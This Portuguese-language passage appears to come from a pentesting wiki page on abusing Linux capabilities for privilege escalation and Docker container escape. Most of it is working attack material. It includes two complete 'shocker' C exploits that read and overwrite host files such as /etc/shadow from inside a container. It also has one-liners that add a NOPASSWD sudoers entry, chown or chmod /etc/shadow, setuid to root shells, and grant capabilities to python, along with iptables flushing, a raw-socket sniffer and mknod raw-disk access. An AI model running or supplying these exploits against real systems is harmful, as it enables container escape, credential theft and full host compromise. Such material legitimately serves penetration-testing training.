Current: = cap_chown,cap_dac_override,cap_dac_read_search,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_chroot,cap_mknod,cap_audit_write,cap_setfcap+ep
Bounding set =cap_chown,cap_dac_override,cap_dac_read_search,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_chroot,cap_mknod,cap_audit_write,cap_setfcap
Securebits: 00/0x0/1'b0
secure-noroot: no (unlocked)
secure-no-suid-fixup: no (unlocked)
secure-keep-caps: no (unlocked)
uid=0(root)
gid=0(root)
groups=0(root)

Dentro da saída anterior, você pode ver que a capacidade DAC_READ_SEARCH está habilitada. Como resultado, o contêiner pode debugar processos.

Você pode aprender como a seguinte exploração funciona em https://medium.com/@fun_cuddles/docker-breakout-exploit-analysis-a274fff0e6b3, mas em resumo, CAP_DAC_READ_SEARCH não apenas nos permite percorrer o sistema de arquivos sem verificações de permissão, mas também remove explicitamente quaisquer verificações para open_by_handle_at(2) e pode permitir que nosso processo acesse arquivos sensíveis abertos por outros processos.

O exploit original que abusa dessas permissões para ler arquivos do host pode ser encontrado aqui: http://stealth.openwall.net/xSports/shocker.c, a seguir está uma versão modificada que permite indicar o arquivo que você deseja ler como primeiro argumento e despejá-lo em um arquivo.

#include <stdio.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <errno.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <dirent.h>
#include <stdint.h>

// gcc shocker.c -o shocker
// ./socker /etc/shadow shadow #Read /etc/shadow from host and save result in shadow file in current dir

struct my_file_handle {
unsigned int handle_bytes;
int handle_type;
unsigned char f_handle[8];
};

void die(const char *msg)
{
perror(msg);
exit(errno);
}

void dump_handle(const struct my_file_handle *h)
{
fprintf(stderr,"[*] #=%d, %d, char nh[] = {", h->handle_bytes,
h->handle_type);
for (int i = 0; i < h->handle_bytes; ++i) {
fprintf(stderr,"0x%02x", h->f_handle[i]);
if ((i + 1) % 20 == 0)
fprintf(stderr,"\n");
if (i < h->handle_bytes - 1)
fprintf(stderr,", ");
}
fprintf(stderr,"};\n");
}

int find_handle(int bfd, const char *path, const struct my_file_handle *ih, struct my_file_handle
*oh)
{
int fd;
uint32_t ino = 0;
struct my_file_handle outh = {
.handle_bytes = 8,
.handle_type = 1
};
DIR *dir = NULL;
struct dirent *de = NULL;
path = strchr(path, '/');
// recursion stops if path has been resolved
if (!path) {
memcpy(oh->f_handle, ih->f_handle, sizeof(oh->f_handle));
oh->handle_type = 1;
oh->handle_bytes = 8;
return 1;
}

++path;
fprintf(stderr, "[*] Resolving '%s'\n", path);
if ((fd = open_by_handle_at(bfd, (struct file_handle *)ih, O_RDONLY)) < 0)
die("[-] open_by_handle_at");
if ((dir = fdopendir(fd)) == NULL)
die("[-] fdopendir");
for (;;) {
de = readdir(dir);
if (!de)
break;
fprintf(stderr, "[*] Found %s\n", de->d_name);
if (strncmp(de->d_name, path, strlen(de->d_name)) == 0) {
fprintf(stderr, "[+] Match: %s ino=%d\n", de->d_name, (int)de->d_ino);
ino = de->d_ino;
break;
}
}

fprintf(stderr, "[*] Brute forcing remaining 32bit. This can take a while...\n");
if (de) {
for (uint32_t i = 0; i < 0xffffffff; ++i) {
outh.handle_bytes = 8;
outh.handle_type = 1;
memcpy(outh.f_handle, &ino, sizeof(ino));
memcpy(outh.f_handle + 4, &i, sizeof(i));
if ((i % (1<<20)) == 0)
fprintf(stderr, "[*] (%s) Trying: 0x%08x\n", de->d_name, i);
if (open_by_handle_at(bfd, (struct file_handle *)&outh, 0) > 0) {
closedir(dir);
close(fd);
dump_handle(&outh);
return find_handle(bfd, path, &outh, oh);
}
}
}
closedir(dir);
close(fd);
return 0;
}


int main(int argc,char* argv[] )
{
char buf[0x1000];
int fd1, fd2;
struct my_file_handle h;
struct my_file_handle root_h = {
.handle_bytes = 8,
.handle_type = 1,
.f_handle = {0x02, 0, 0, 0, 0, 0, 0, 0}
};

fprintf(stderr, "[***] docker VMM-container breakout Po(C) 2014 [***]\n"
"[***] The tea from the 90's kicks your sekurity again. [***]\n"
"[***] If you have pending sec consulting, I'll happily [***]\n"
"[***] forward to my friends who drink secury-tea too! [***]\n\n<enter>\n");

read(0, buf, 1);

// get a FS reference from something mounted in from outside
if ((fd1 = open("/etc/hostname", O_RDONLY)) < 0)
die("[-] open");

if (find_handle(fd1, argv[1], &root_h, &h) <= 0)
die("[-] Cannot find valid handle!");

fprintf(stderr, "[!] Got a final handle!\n");
dump_handle(&h);

if ((fd2 = open_by_handle_at(fd1, (struct file_handle *)&h, O_RDONLY)) < 0)
die("[-] open_by_handle");

memset(buf, 0, sizeof(buf));
if (read(fd2, buf, sizeof(buf) - 1) < 0)
die("[-] read");

printf("Success!!\n");

FILE *fptr;
fptr = fopen(argv[2], "w");
fprintf(fptr,"%s", buf);
fclose(fptr);

close(fd2); close(fd1);

return 0;
}

O exploit precisa encontrar um ponteiro para algo montado no host. O exploit original usou o arquivo /.dockerinit e esta versão modificada usa /etc/hostname. Se o exploit não estiver funcionando, talvez você precise definir um arquivo diferente. Para encontrar um arquivo que está montado no host, basta executar o comando mount:

O código desta técnica foi copiado do laboratório de "Abusing DAC_READ_SEARCH Capability" de https://www.pentesteracademy.com/

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CAP_DAC_OVERRIDE

Isso significa que você pode contornar as verificações de permissão de escrita em qualquer arquivo, então você pode escrever em qualquer arquivo.

Existem muitos arquivos que você pode sobrescrever para escalar privilégios, você pode obter ideias daqui.

Exemplo com binário

Neste exemplo, o vim tem essa capacidade, então você pode modificar qualquer arquivo como passwd, sudoers ou shadow:

getcap -r / 2>/dev/null
/usr/bin/vim = cap_dac_override+ep

vim /etc/sudoers #To overwrite it

Exemplo com binário 2

Neste exemplo, o binário python terá esta capacidade. Você pode usar o python para sobrescrever qualquer arquivo:

file=open("/etc/sudoers","a")
file.write("yourusername ALL=(ALL) NOPASSWD:ALL")
file.close()

Exemplo com ambiente + CAP_DAC_READ_SEARCH (quebra do Docker)

Você pode verificar as capacidades habilitadas dentro do contêiner docker usando:

capsh --print
Current: = cap_chown,cap_dac_override,cap_dac_read_search,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_chroot,cap_mknod,cap_audit_write,cap_setfcap+ep
Bounding set =cap_chown,cap_dac_override,cap_dac_read_search,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_chroot,cap_mknod,cap_audit_write,cap_setfcap
Securebits: 00/0x0/1'b0
secure-noroot: no (unlocked)
secure-no-suid-fixup: no (unlocked)
secure-keep-caps: no (unlocked)
uid=0(root)
gid=0(root)
groups=0(root)

Primeiro de tudo, leia a seção anterior que abusa da capacidade DAC_READ_SEARCH para ler arquivos arbitrários do host e compile o exploit. Em seguida, compile a seguinte versão do exploit shocker que permitirá que você escreva arquivos arbitrários dentro do sistema de arquivos dos hosts:

#include <stdio.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <errno.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <dirent.h>
#include <stdint.h>

// gcc shocker_write.c -o shocker_write
// ./shocker_write /etc/passwd passwd

struct my_file_handle {
unsigned int handle_bytes;
int handle_type;
unsigned char f_handle[8];
};
void die(const char * msg) {
perror(msg);
exit(errno);
}
void dump_handle(const struct my_file_handle * h) {
fprintf(stderr, "[*] #=%d, %d, char nh[] = {", h -> handle_bytes,
h -> handle_type);
for (int i = 0; i < h -> handle_bytes; ++i) {
fprintf(stderr, "0x%02x", h -> f_handle[i]);
if ((i + 1) % 20 == 0)
fprintf(stderr, "\n");
if (i < h -> handle_bytes - 1)
fprintf(stderr, ", ");
}
fprintf(stderr, "};\n");
}
int find_handle(int bfd, const char *path, const struct my_file_handle *ih, struct my_file_handle *oh)
{
int fd;
uint32_t ino = 0;
struct my_file_handle outh = {
.handle_bytes = 8,
.handle_type = 1
};
DIR * dir = NULL;
struct dirent * de = NULL;
path = strchr(path, '/');
// recursion stops if path has been resolved
if (!path) {
memcpy(oh -> f_handle, ih -> f_handle, sizeof(oh -> f_handle));
oh -> handle_type = 1;
oh -> handle_bytes = 8;
return 1;
}
++path;
fprintf(stderr, "[*] Resolving '%s'\n", path);
if ((fd = open_by_handle_at(bfd, (struct file_handle * ) ih, O_RDONLY)) < 0)
die("[-] open_by_handle_at");
if ((dir = fdopendir(fd)) == NULL)
die("[-] fdopendir");
for (;;) {
de = readdir(dir);
if (!de)
break;
fprintf(stderr, "[*] Found %s\n", de -> d_name);
if (strncmp(de -> d_name, path, strlen(de -> d_name)) == 0) {
fprintf(stderr, "[+] Match: %s ino=%d\n", de -> d_name, (int) de -> d_ino);
ino = de -> d_ino;
break;
}
}
fprintf(stderr, "[*] Brute forcing remaining 32bit. This can take a while...\n");
if (de) {
for (uint32_t i = 0; i < 0xffffffff; ++i) {
outh.handle_bytes = 8;
outh.handle_type = 1;
memcpy(outh.f_handle, & ino, sizeof(ino));
memcpy(outh.f_handle + 4, & i, sizeof(i));
if ((i % (1 << 20)) == 0)
fprintf(stderr, "[*] (%s) Trying: 0x%08x\n", de -> d_name, i);
if (open_by_handle_at(bfd, (struct file_handle * ) & outh, 0) > 0) {
closedir(dir);
close(fd);
dump_handle( & outh);
return find_handle(bfd, path, & outh, oh);
}
}
}
closedir(dir);
close(fd);
return 0;
}
int main(int argc, char * argv[]) {
char buf[0x1000];
int fd1, fd2;
struct my_file_handle h;
struct my_file_handle root_h = {
.handle_bytes = 8,
.handle_type = 1,
.f_handle = {
0x02,
0,
0,
0,
0,
0,
0,
0
}
};
fprintf(stderr, "[***] docker VMM-container breakout Po(C) 2014 [***]\n"
"[***] The tea from the 90's kicks your sekurity again. [***]\n"
"[***] If you have pending sec consulting, I'll happily [***]\n"
"[***] forward to my friends who drink secury-tea too! [***]\n\n<enter>\n");
read(0, buf, 1);
// get a FS reference from something mounted in from outside
if ((fd1 = open("/etc/hostname", O_RDONLY)) < 0)
die("[-] open");
if (find_handle(fd1, argv[1], & root_h, & h) <= 0)
die("[-] Cannot find valid handle!");
fprintf(stderr, "[!] Got a final handle!\n");
dump_handle( & h);
if ((fd2 = open_by_handle_at(fd1, (struct file_handle * ) & h, O_RDWR)) < 0)
die("[-] open_by_handle");
char * line = NULL;
size_t len = 0;
FILE * fptr;
ssize_t read;
fptr = fopen(argv[2], "r");
while ((read = getline( & line, & len, fptr)) != -1) {
write(fd2, line, read);
}
printf("Success!!\n");
close(fd2);
close(fd1);
return 0;
}

Para escapar do contêiner docker, você poderia baixar os arquivos /etc/shadow e /etc/passwd do host, adicionar a eles um novo usuário e usar shocker_write para sobrescrevê-los. Então, acessar via ssh.

O código desta técnica foi copiado do laboratório de "Abusing DAC_OVERRIDE Capability" de https://www.pentesteracademy.com

CAP_CHOWN

Isso significa que é possível mudar a propriedade de qualquer arquivo.

Exemplo com binário

Vamos supor que o python binário tenha essa capacidade, você pode mudar o proprietário do arquivo shadow, mudar a senha do root e escalar privilégios:

python -c 'import os;os.chown("/etc/shadow",1000,1000)'

Ou com o binário ruby tendo esta capacidade:

ruby -e 'require "fileutils"; FileUtils.chown(1000, 1000, "/etc/shadow")'

CAP_FOWNER

Isso significa que é possível alterar as permissões de qualquer arquivo.

Exemplo com binário

Se o python tiver essa capacidade, você pode modificar as permissões do arquivo shadow, alterar a senha do root e escalar privilégios:

python -c 'import os;os.chmod("/etc/shadow",0666)

CAP_SETUID

Isso significa que é possível definir o id de usuário efetivo do processo criado.

Exemplo com binário

Se o python tiver essa capacidade, você pode abusar dela muito facilmente para escalar privilégios para root:

import os
os.setuid(0)
os.system("/bin/bash")

Outra maneira:

import os
import prctl
#add the capability to the effective set
prctl.cap_effective.setuid = True
os.setuid(0)
os.system("/bin/bash")

CAP_SETGID

Isso significa que é possível definir o id de grupo efetivo do processo criado.

Existem muitos arquivos que você pode substituir para escalar privilégios, você pode obter ideias daqui.

Exemplo com binário

Neste caso, você deve procurar arquivos interessantes que um grupo pode ler, porque você pode se passar por qualquer grupo:

#Find every file writable by a group
find / -perm /g=w -exec ls -lLd {} \; 2>/dev/null
#Find every file writable by a group in /etc with a maxpath of 1
find /etc -maxdepth 1 -perm /g=w -exec ls -lLd {} \; 2>/dev/null
#Find every file readable by a group in /etc with a maxpath of 1
find /etc -maxdepth 1 -perm /g=r -exec ls -lLd {} \; 2>/dev/null

Uma vez que você tenha encontrado um arquivo que pode abusar (via leitura ou escrita) para escalar privilégios, você pode obter um shell se passando pelo grupo interessante com:

import os
os.setgid(42)
os.system("/bin/bash")

Neste caso, o grupo shadow foi impersonado, então você pode ler o arquivo /etc/shadow:

cat /etc/shadow

Se o docker estiver instalado, você pode impersonar o grupo docker e abusar dele para se comunicar com o docker socket e escalar privilégios.

CAP_SETFCAP

Isso significa que é possível definir capacidades em arquivos e processos

Exemplo com binário

Se o python tiver essa capacidade, você pode facilmente abusar dela para escalar privilégios para root:

setcapability.py

import ctypes, sys

#Load needed library
#You can find which library you need to load checking the libraries of local setcap binary
# ldd /sbin/setcap
libcap = ctypes.cdll.LoadLibrary("libcap.so.2")

libcap.cap_from_text.argtypes = [ctypes.c_char_p]
libcap.cap_from_text.restype = ctypes.c_void_p
libcap.cap_set_file.argtypes = [ctypes.c_char_p,ctypes.c_void_p]

#Give setuid cap to the binary
cap = 'cap_setuid+ep'
path = sys.argv[1]
print(path)
cap_t = libcap.cap_from_text(cap)
status = libcap.cap_set_file(path,cap_t)

if(status == 0):
print (cap + " was successfully added to " + path)

python setcapability.py /usr/bin/python2.7

Observe que se você definir uma nova capacidade para o binário com CAP_SETFCAP, você perderá essa capacidade.

Uma vez que você tenha a capacidade SETUID, você pode ir para sua seção para ver como escalar privilégios.

Exemplo com ambiente (Docker breakout)

Por padrão, a capacidade CAP_SETFCAP é dada ao processo dentro do contêiner no Docker. Você pode verificar isso fazendo algo como:

cat /proc/`pidof bash`/status | grep Cap
CapInh: 00000000a80425fb
CapPrm: 00000000a80425fb
CapEff: 00000000a80425fb
CapBnd: 00000000a80425fb
CapAmb: 0000000000000000

capsh --decode=00000000a80425fb
0x00000000a80425fb=cap_chown,cap_dac_override,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_chroot,cap_mknod,cap_audit_write,cap_setfcap

Esta capacidade permite dar qualquer outra capacidade a binários, então podemos pensar em escapar do contêiner abusando de qualquer uma das outras quebras de capacidade mencionadas nesta página. No entanto, se você tentar dar, por exemplo, as capacidades CAP_SYS_ADMIN e CAP_SYS_PTRACE ao binário gdb, você descobrirá que pode concedê-las, mas o binário não conseguirá executar após isso:

getcap /usr/bin/gdb
/usr/bin/gdb = cap_sys_ptrace,cap_sys_admin+eip

setcap cap_sys_admin,cap_sys_ptrace+eip /usr/bin/gdb

/usr/bin/gdb
bash: /usr/bin/gdb: Operation not permitted

From the docs: Permitted: Este é um superconjunto limitante para as capacidades efetivas que a thread pode assumir. Também é um superconjunto limitante para as capacidades que podem ser adicionadas ao conjunto herdável por uma thread que não possui a capacidade CAP_SETPCAP em seu conjunto efetivo. Parece que as capacidades Permitidas limitam aquelas que podem ser usadas. No entanto, o Docker também concede o CAP_SETPCAP por padrão, então você pode ser capaz de definir novas capacidades dentro das herdáveis. No entanto, na documentação desta capacidade: CAP_SETPCAP : […] adiciona qualquer capacidade do conjunto de limites da thread chamadora ao seu conjunto herdável. Parece que só podemos adicionar ao conjunto herdável capacidades do conjunto de limites. O que significa que não podemos colocar novas capacidades como CAP_SYS_ADMIN ou CAP_SYS_PTRACE no conjunto herdável para escalar privilégios.

CAP_SYS_RAWIO

CAP_SYS_RAWIO fornece uma série de operações sensíveis, incluindo acesso a /dev/mem, /dev/kmem ou /proc/kcore, modificar mmap_min_addr, acessar chamadas de sistema ioperm(2) e iopl(2), e vários comandos de disco. O FIBMAP ioctl(2) também é habilitado por meio dessa capacidade, o que causou problemas no passado. De acordo com a página do manual, isso também permite que o detentor realize uma variedade de operações específicas de dispositivos em outros dispositivos.

Isso pode ser útil para escalonamento de privilégios e quebra do Docker.

CAP_KILL

Isso significa que é possível matar qualquer processo.

Exemplo com binário

Vamos supor que o python binário tenha essa capacidade. Se você pudesse também modificar alguma configuração de serviço ou socket (ou qualquer arquivo de configuração relacionado a um serviço), você poderia criar um backdoor, e então matar o processo relacionado a esse serviço e esperar que o novo arquivo de configuração fosse executado com seu backdoor.

#Use this python code to kill arbitrary processes
import os
import signal
pgid = os.getpgid(341)
os.killpg(pgid, signal.SIGKILL)

Privesc com kill

Se você tiver capacidades de kill e houver um programa node rodando como root (ou como um usuário diferente), você provavelmente poderia enviar o sinal SIGUSR1 e fazer com que ele abra o depurador do node para onde você pode se conectar.

kill -s SIGUSR1 <nodejs-ps>
# After an URL to access the debugger will appear. e.g. ws://127.0.0.1:9229/45ea962a-29dd-4cdd-be08-a6827840553d

Node inspector/CEF debug abuse

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CAP_NET_BIND_SERVICE

Isso significa que é possível escutar em qualquer porta (mesmo nas privilegiadas). Você não pode escalar privilégios diretamente com essa capacidade.

Exemplo com binário

Se python tiver essa capacidade, ele poderá escutar em qualquer porta e até se conectar a partir dela a qualquer outra porta (alguns serviços exigem conexões de portas privilegiadas específicas)

Listen

import socket
s=socket.socket()
s.bind(('0.0.0.0', 80))
s.listen(1)
conn, addr = s.accept()
while True:
output = connection.recv(1024).strip();
print(output)

Conectar

import socket
s=socket.socket()
s.bind(('0.0.0.0',500))
s.connect(('10.10.10.10',500))

CAP_NET_RAW

A capacidade CAP_NET_RAW permite que processos criem sockets RAW e PACKET, permitindo que gerem e enviem pacotes de rede arbitrários. Isso pode levar a riscos de segurança em ambientes containerizados, como spoofing de pacotes, injeção de tráfego e contorno de controles de acesso à rede. Atores maliciosos poderiam explorar isso para interferir no roteamento de containers ou comprometer a segurança da rede do host, especialmente sem proteções adequadas de firewall. Além disso, CAP_NET_RAW é crucial para containers privilegiados suportarem operações como ping via solicitações RAW ICMP.

Isso significa que é possível monitorar o tráfego. Você não pode escalar privilégios diretamente com essa capacidade.

Exemplo com binário

Se o binário tcpdump tiver essa capacidade, você poderá usá-lo para capturar informações de rede.

getcap -r / 2>/dev/null
/usr/sbin/tcpdump = cap_net_raw+ep

Note que se o ambiente estiver concedendo essa capacidade, você também pode usar tcpdump para capturar tráfego.

Exemplo com binário 2

O seguinte exemplo é um código python2 que pode ser útil para interceptar o tráfego da interface "lo" (localhost). O código é do laboratório "The Basics: CAP-NET_BIND + NET_RAW" de https://attackdefense.pentesteracademy.com/

import socket
import struct

flags=["NS","CWR","ECE","URG","ACK","PSH","RST","SYN","FIN"]

def getFlag(flag_value):
flag=""
for i in xrange(8,-1,-1):
if( flag_value & 1 <<i ):
flag= flag + flags[8-i] + ","
return flag[:-1]

s = socket.socket(socket.AF_PACKET, socket.SOCK_RAW, socket.htons(3))
s.setsockopt(socket.SOL_SOCKET, socket.SO_RCVBUF, 2**30)
s.bind(("lo",0x0003))

flag=""
count=0
while True:
frame=s.recv(4096)
ip_header=struct.unpack("!BBHHHBBH4s4s",frame[14:34])
proto=ip_header[6]
ip_header_size = (ip_header[0] & 0b1111) * 4
if(proto==6):
protocol="TCP"
tcp_header_packed = frame[ 14 + ip_header_size : 34 + ip_header_size]
tcp_header = struct.unpack("!HHLLHHHH", tcp_header_packed)
dst_port=tcp_header[0]
src_port=tcp_header[1]
flag=" FLAGS: "+getFlag(tcp_header[4])

elif(proto==17):
protocol="UDP"
udp_header_packed_ports = frame[ 14 + ip_header_size : 18 + ip_header_size]
udp_header_ports=struct.unpack("!HH",udp_header_packed_ports)
dst_port=udp_header[0]
src_port=udp_header[1]

if (proto == 17 or proto == 6):
print("Packet: " + str(count) + " Protocol: " + protocol + " Destination Port: " + str(dst_port) + " Source Port: " + str(src_port) + flag)
count=count+1

CAP_NET_ADMIN + CAP_NET_RAW

A capacidade CAP_NET_ADMIN concede ao detentor o poder de alterar configurações de rede, incluindo configurações de firewall, tabelas de roteamento, permissões de soquete e configurações de interface de rede dentro dos namespaces de rede expostos. Também permite ativar o modo promíscuo nas interfaces de rede, permitindo a captura de pacotes entre namespaces.

Exemplo com binário

Vamos supor que o binário python tenha essas capacidades.

#Dump iptables filter table rules
import iptc
import pprint
json=iptc.easy.dump_table('filter',ipv6=False)
pprint.pprint(json)

#Flush iptables filter table
import iptc
iptc.easy.flush_table('filter')

CAP_LINUX_IMMUTABLE

Isso significa que é possível modificar atributos de inode. Você não pode escalar privilégios diretamente com essa capacidade.

Exemplo com binário

Se você descobrir que um arquivo é imutável e o python tem essa capacidade, você pode remover o atributo imutável e tornar o arquivo modificável:

#Check that the file is imutable
lsattr file.sh
----i---------e--- backup.sh

#Pyhton code to allow modifications to the file
import fcntl
import os
import struct

FS_APPEND_FL = 0x00000020
FS_IOC_SETFLAGS = 0x40086602

fd = os.open('/path/to/file.sh', os.O_RDONLY)
f = struct.pack('i', FS_APPEND_FL)
fcntl.ioctl(fd, FS_IOC_SETFLAGS, f)

f=open("/path/to/file.sh",'a+')
f.write('New content for the file\n')

Observe que geralmente este atributo imutável é definido e removido usando:

sudo chattr +i file.txt
sudo chattr -i file.txt

CAP_SYS_CHROOT

CAP_SYS_CHROOT permite a execução da chamada de sistema chroot(2), que pode potencialmente permitir a fuga de ambientes chroot(2) através de vulnerabilidades conhecidas:

• Como escapar de várias soluções chroot

• chw00t: ferramenta de escape chroot

CAP_SYS_BOOT

CAP_SYS_BOOT não apenas permite a execução da chamada de sistema reboot(2) para reinicializações do sistema, incluindo comandos específicos como LINUX_REBOOT_CMD_RESTART2 adaptados para certas plataformas de hardware, mas também habilita o uso de kexec_load(2) e, a partir do Linux 3.17, kexec_file_load(2) para carregar novos ou assinados kernels de falha, respectivamente.

CAP_SYSLOG

CAP_SYSLOG foi separado do mais amplo CAP_SYS_ADMIN no Linux 2.6.37, concedendo especificamente a capacidade de usar a chamada syslog(2). Essa capacidade permite a visualização de endereços de kernel via /proc e interfaces semelhantes quando a configuração kptr_restrict está em 1, que controla a exposição de endereços de kernel. Desde o Linux 2.6.39, o padrão para kptr_restrict é 0, significando que os endereços de kernel estão expostos, embora muitas distribuições definam isso como 1 (ocultar endereços, exceto do uid 0) ou 2 (sempre ocultar endereços) por razões de segurança.

Além disso, CAP_SYSLOG permite acessar a saída de dmesg quando dmesg_restrict está definido como 1. Apesar dessas mudanças, CAP_SYS_ADMIN mantém a capacidade de realizar operações syslog devido a precedentes históricos.

CAP_MKNOD

CAP_MKNOD estende a funcionalidade da chamada de sistema mknod além da criação de arquivos regulares, FIFOs (tubos nomeados) ou sockets de domínio UNIX. Permite especificamente a criação de arquivos especiais, que incluem:

• S_IFCHR: Arquivos especiais de caractere, que são dispositivos como terminais.

• S_IFBLK: Arquivos especiais de bloco, que são dispositivos como discos.

Essa capacidade é essencial para processos que requerem a habilidade de criar arquivos de dispositivo, facilitando a interação direta com hardware através de dispositivos de caractere ou bloco.

É uma capacidade padrão do docker (https://github.com/moby/moby/blob/master/oci/caps/defaults.go#L6-L19).

Essa capacidade permite realizar escalonamentos de privilégios (através de leitura completa do disco) no host, sob estas condições:

1. Ter acesso inicial ao host (sem privilégios).

2. Ter acesso inicial ao contêiner (privilegiado (EUID 0) e efetivo CAP_MKNOD).

3. O host e o contêiner devem compartilhar o mesmo namespace de usuário.

Passos para Criar e Acessar um Dispositivo de Bloco em um Contêiner:

1. No Host como um Usuário Padrão:

• Determine seu ID de usuário atual com id, por exemplo, uid=1000(standarduser).

• Identifique o dispositivo alvo, por exemplo, /dev/sdb.

2. Dentro do Contêiner como root:

# Create a block special file for the host device
mknod /dev/sdb b 8 16
# Set read and write permissions for the user and group
chmod 660 /dev/sdb
# Add the corresponding standard user present on the host
useradd -u 1000 standarduser
# Switch to the newly created user
su standarduser

3. De Volta ao Host:

# Locate the PID of the container process owned by "standarduser"
# This is an illustrative example; actual command might vary
ps aux | grep -i container_name | grep -i standarduser
# Assuming the found PID is 12345
# Access the container's filesystem and the special block device
head /proc/12345/root/dev/sdb

Esta abordagem permite que o usuário padrão acesse e potencialmente leia dados de /dev/sdb através do contêiner, explorando namespaces de usuário compartilhados e permissões definidas no dispositivo.

CAP_SETPCAP

CAP_SETPCAP permite que um processo altere os conjuntos de capacidades de outro processo, permitindo a adição ou remoção de capacidades dos conjuntos efetivos, herdáveis e permitidos. No entanto, um processo só pode modificar capacidades que possui em seu próprio conjunto permitido, garantindo que não possa elevar os privilégios de outro processo além de seu próprio nível. Atualizações recentes do kernel apertaram essas regras, restringindo CAP_SETPCAP a apenas diminuir as capacidades dentro de seu próprio conjunto permitido ou dos conjuntos permitidos de seus descendentes, visando mitigar riscos de segurança. O uso requer ter CAP_SETPCAP no conjunto efetivo e as capacidades alvo no conjunto permitido, utilizando capset() para modificações. Isso resume a função central e as limitações de CAP_SETPCAP, destacando seu papel na gestão de privilégios e no aprimoramento da segurança.

CAP_SETPCAP é uma capacidade do Linux que permite que um processo modifique os conjuntos de capacidades de outro processo. Ela concede a capacidade de adicionar ou remover capacidades dos conjuntos de capacidades efetivas, herdáveis e permitidas de outros processos. No entanto, existem certas restrições sobre como essa capacidade pode ser usada.

Um processo com CAP_SETPCAP só pode conceder ou remover capacidades que estão em seu próprio conjunto de capacidades permitido. Em outras palavras, um processo não pode conceder uma capacidade a outro processo se não tiver essa capacidade. Essa restrição impede que um processo eleve os privilégios de outro processo além de seu próprio nível de privilégio.

Além disso, em versões recentes do kernel, a capacidade CAP_SETPCAP foi ainda mais restrita. Ela não permite mais que um processo modifique arbitrariamente os conjuntos de capacidades de outros processos. Em vez disso, só permite que um processo diminua as capacidades em seu próprio conjunto de capacidades permitido ou no conjunto de capacidades permitido de seus descendentes. Essa mudança foi introduzida para reduzir os riscos de segurança potenciais associados à capacidade.

Para usar CAP_SETPCAP de forma eficaz, você precisa ter a capacidade em seu conjunto de capacidades efetivas e as capacidades alvo em seu conjunto de capacidades permitido. Você pode então usar a chamada de sistema capset() para modificar os conjuntos de capacidades de outros processos.

Em resumo, CAP_SETPCAP permite que um processo modifique os conjuntos de capacidades de outros processos, mas não pode conceder capacidades que não possui. Além disso, devido a preocupações de segurança, sua funcionalidade foi limitada em versões recentes do kernel para permitir apenas a redução de capacidades em seu próprio conjunto de capacidades permitido ou nos conjuntos de capacidades permitidos de seus descendentes.

Referências

A maioria desses exemplos foi retirada de alguns laboratórios de https://attackdefense.pentesteracademy.com/, então se você quiser praticar essas técnicas de privesc, recomendo esses laboratórios.

Outras referências:

• https://vulp3cula.gitbook.io/hackers-grimoire/post-exploitation/privesc-linux

• https://www.schutzwerk.com/en/43/posts/linux_container_capabilities/#:~:text=Inherited%20capabilities%3A%20A%20process%20can,a%20binary%2C%20e.g.%20using%20setcap%20.

• https://linux-audit.com/linux-capabilities-101/

• https://www.linuxjournal.com/article/5737

• https://0xn3va.gitbook.io/cheat-sheets/container/escaping/excessive-capabilities#cap_sys_module

• https://labs.withsecure.com/publications/abusing-the-access-to-mount-namespaces-through-procpidroot

​

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